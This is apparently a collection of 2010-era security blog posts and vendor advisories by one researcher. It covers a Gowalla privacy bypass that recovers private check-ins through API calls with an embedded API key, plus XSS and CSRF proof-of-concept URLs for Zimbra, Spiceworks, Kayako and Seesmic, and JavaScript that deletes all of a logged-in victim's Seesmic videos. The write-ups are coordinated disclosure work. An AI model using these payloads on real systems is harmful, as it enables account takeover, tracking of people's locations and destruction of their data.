It seems that every day people around me are sharing more and more “status” information with each other. Whether or not that is a good idea is best left for another conversation, but here’s an argument for not sharing: Like a lot of people, I tried out Gowalla. It was fun to spam my friends with random locations I was visiting, mindlessly whoring out information to the public about my whereabouts. I figured after using the service for a little while that it might be a good idea to just tell my friends about where I am rather than broadcast it to the whole world (pleaserobme.com), and enabled the private profile option.

Per Gowalla the private profile option will:

If you choose to turn Passport Privacy on, your stamps (the places you’ve been) and your items will only be visible to your friends.

Not wanting to take their word for it I had to take a look at the various ways of accessing the data that was to be private. Turns out that through a series of API calls this information is still available. The process I used is outlined below.

1. First we need to find a user to stalk decloak. You can either guess at a username (turns out a lot of people like to use the same Gowalla username as their twitter username, go figure). We will use mine for the sake of demonstration, but here is another protip: If you don’t know the username just go through ID’s and brute force all the accounts. It appears that Gowalla’s userids increment in a predictable manner. Also, it’s important to note that gowalla.com/users/adam_baldwin and gowalla.com/users/53172 bring up the same user information.

2. Now we need to find out the number of stamps a user has using the URL below. If the number is 0 there is a chance the profile is private.

http://gowalla.com/users/%d/stamps?limit=1

Making the request requires that you mimic the web api. So some fancy headers are in order. Something like..

headers = {‘User-Agent’:user_agent,
‘X-Requested-With’:'XMLHttpRequest’,
‘X-Gowalla-API-Key’: ‘fa574894bddc43aa96c556eb457b4009′,
‘Accept’:'application/json’,
}

3. Next we get the user information. If the stamp count is > 0 the profile is definitely cloaked (private) and we need to do a little more digging.

http://gowalla.com/users/%d.json

4. The following URL will give you all the locations in which the user has checked in. It’s not really all that useful as it’s just the location.

http://gowalla.com/spots?checkins_user_id=%d&order=checkins_count+desc

5. This is where things get interesting. If you use the checkins_url value from each spot in step 4 and go request the data, you get all of the checkins for that spot. Including the checkins for the user that are supposed to be private. Iterate through them looking to see which one has a user url that matches your targeted user and now you have date and time of the check in.

Here is what my passport looks at the time of this writing, go look for yourself at http://gowalla.com/users/adam_baldwin

Here is what the output of the decloak.py script.

53172   Adam Baldwin (adam_baldwin)
Texas
checkin – 2010-02-10T04:56:26+00:00
Washington
checkin – 2010-01-10T23:45:20+00:00
IAH George Bush Intercontinental
checkin – 2010-02-10T04:56:26+00:00
Airplane Waiting On Tarmac
checkin – 2010-02-12T15:08:22+00:00
Tri-Cities Airport (PSC)
checkin – 2010-02-12T22:41:51+00:00
…

If you bothered to read this far then YOU WIN A BONUS!!!! Gowalla recently released their read-only API for developers. It comes with a handy tool for testing out and learning the API.

Here is the URL as showing in the screenshot above. XSS ftw?

http://gowalla.com/api/explorer#/spots?lat=30.2697&lng=-97.7494&radius=50″><script>alert(‘xss’)</script>

Gowalla was notified on March 4th about these particular issues.

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2010-004 - Zimbra search skin XSS
   Application: Zimbra
        Vendor: Zimbra
Vendor website: http://www.spiceworks.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
         Class: XSS
Authentication: Valid session required

  I. BACKGROUND
     Zimbra [1] is an open-source and commercial messaging and collaboration software
     suite.

 II. DETAILS
     A cross-site script (XSS) vulnerability exists within the classic Zimbra web
     interface. This vulnerability exists due to improper output encoding of the
     skin parameter.

     Example:
     http://example.com/zimbra/h/search?skin=--><script src=""></script><!--&
     mesg=welcome&initial=true&app=

     The vendor states that this vulnerability is addressed in version 5.0.20 and
     6.0.2. "The 5.0.x series of releases was not vulnerable to this issue.  We
     applied the same change in 5.0.20 that went into 6.0.2, but that was just for
     safety.  In 5.0.x other code prohibited this exploit."

III. REFERENCES
     [1] - http://www.zimbra.com

 IV. VENDOR COMMUNICATION
     10.07.2009 - Vulnerability Discovery & Vendor Notification.
     10.08.2009 - Vendor bug filed.
     12.15.2009 - Follow-up to find out fix status.
     12.15.2009 - Vendor Statement that this has been addressed.

The contents of this advisory are copyright (c) nGenuity Information  Security
and may be distributed freely provided that no fee is charged  for this distribution
and proper credit is given.

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2009-009 - Spiceworks Multiple Vulnerabilities (XSS & CSRF)
   Application: Spiceworks 3.6.31847
        Vendor: Spiceworks
Vendor website: http://www.spiceworks.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
         Class: XSS, CSRF

  I. BACKGROUND
     Spiceworks is a network management, monitoring, helpdesk, etc application that
     uses a web based front end.

 II. DETAILS
     Multiple vulnerabilities exist within the Spiceworks platform that can be used
     to take over or otherwise abuse the application / infrastructure.

     These vulnerabilities allow for the following attack scenarios to be executed.

     1. Creation of a new Administrator account
     2. Password reset of users

     Exploit Examples:
     Create Administrator Account:

http://example.com/settings/users/create?user%5Bfirst_name%5D=Joe&user%5Bla

st_name%5D=Nobody&user%5Bemail%5D=user%40example.com&user%5Brole%5D=admin&us
er%5Bpassword%5D=PASSWORD&user%5Bpassword_confirmation%5D=PASSWORD

     User Password Reset:

http://example.com/settings/users/change_password/1?user%5Bpassword%5D=PASSWORD

&editorId=password_entry_for_1

     Edit: 8/10/2009
     Thank you to Melinda Rosario for pointing out that I forgot to include any details on the XSS
     portion of this advisory. It is a simple reflected XSS in the search parameter.

     Example:

http://example.com/search?query=--%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

     Edit: 8/11/2009
     Per Francis Sullivan at Spiceworks: Update to the latest Spiceworks 4.1 where the security issues
     are addresses.

III. REFERENCES
     [1] - http://www.spiceworks.com
     [2] - http://cwe.mitre.org/data/definitions/79.html
     [3] - http://cwe.mitre.org/data/definitions/352.html

 IV. VENDOR COMMUNICATION
     4.1.2009 - Vulnerability Discovery & Vendor Notification
     4.6.2009 - Second attempt to contact vendor
     4.7.2009 - Initial vendor response
     8.8.2009 - Advisory Release

Copyright (c) 2009 nGenuity Information Services, LLC

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2009-008 - Ticket Subject Persistent XSS in Kayako SupportSuite
   Application: SupportSuite v3.50.06
        Vendor: Kayako
Vendor website: http://www.kayako.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

         Class: Persistent Cross-Site Scripting

  I. BACKGROUND
     "SupportSuite is [Kayako's] flagship product, integrating the ticket and
      e-mail management features of eSupport with the live chat and visitor
      monitoring features of LiveResponse." [1]

 II. DETAILS
     The subject field of a newly created support ticket is not properly encoded before
     being sent to the browser when the ticket details are viewed. More information
     on cross-site scripting please refer to the Common Weakness Enumeration specification
     available cwe.mitre.org [2].

     An example attack might look similar to the following.

     </title><script src="example.com/attack.js"></script>

     This vulnerability is fixed in version 3.60.x

III. REFERENCES
     [1] - http://www.kayako.com
     [2] - http://cwe.mitre.org/data/definitions/79.html

 IV. VENDOR COMMUNICATION
     7.17.2009 - Vulnerability Discovery
     7.20.2009 - Initial Vendor Response
     7.21.2009 - Patch created, Will be pushed to next stable release
     8.08.2009 - Advisory released

Copyright (c) 2009 nGenuity Information Services, LLC

Normally when I see injection vectors it’s simply because unsanitized user input is echoed back to the user in some really obvious fashion. Those get old quickly.

The particular injection point I found was fun because Seesmic took the time to urlencode the search terms to the user, but then later on in the page use that input in a small chunk of Javascript. What’s awesome about that is that we don’t have to include script tags, our input just gets run automatically. More fun than Saturday morning cartoons.

Here is the injection vector. It requires that the victim have a valid Seesmic session open, but just think if somebody posted a video linking to a tinyurl of this and this fun little javascript turned all the users private video’s public

http://video.seesmic.com/search?q=’%2C%20videoSearchCount%3A0%2CpeopleSearchCount%3A0%7D%3Balert(‘xss’)%3Btest%20%3D%20%7Ba%3A’

So who really cares if there is a XSS in video.seesmic.com? I thought about it for a while and came up with one particular exploit that would impact a few seemic users. How about deleteing all of a users videos if they visit a magical link? Here are the details. (I also thought a variant that would make all private video’s public would have been fun, but I just don’t have the time).

1. User with valid session clicks on a nice tiny url. (just think of how many people would click on this in a description for a video in the public stream!)
2. username is parsed from the site cookies.
3. User’s video json feed is loaded up.
4. For each video gathered in step 3, delete the video.

So how about some code? I left out at least one of the utility functions so you have to at least know somewhat is going on to make it work.

// Delete video function
function deletevideo(id) {
jQuery(document).ready(function() {
jQuery.ajax({
type: “DELETE”,
url: “/videos/”+id+”.json”,
data: “preventCache=1234567890″,
});
});
}

username = readCookie(“username”);

jQuery.getJSON(“/users/”+username+”/videos.json”,
function(data) {
for ( var i in data ) {
deletevideo(data[i].thread_id);
}
});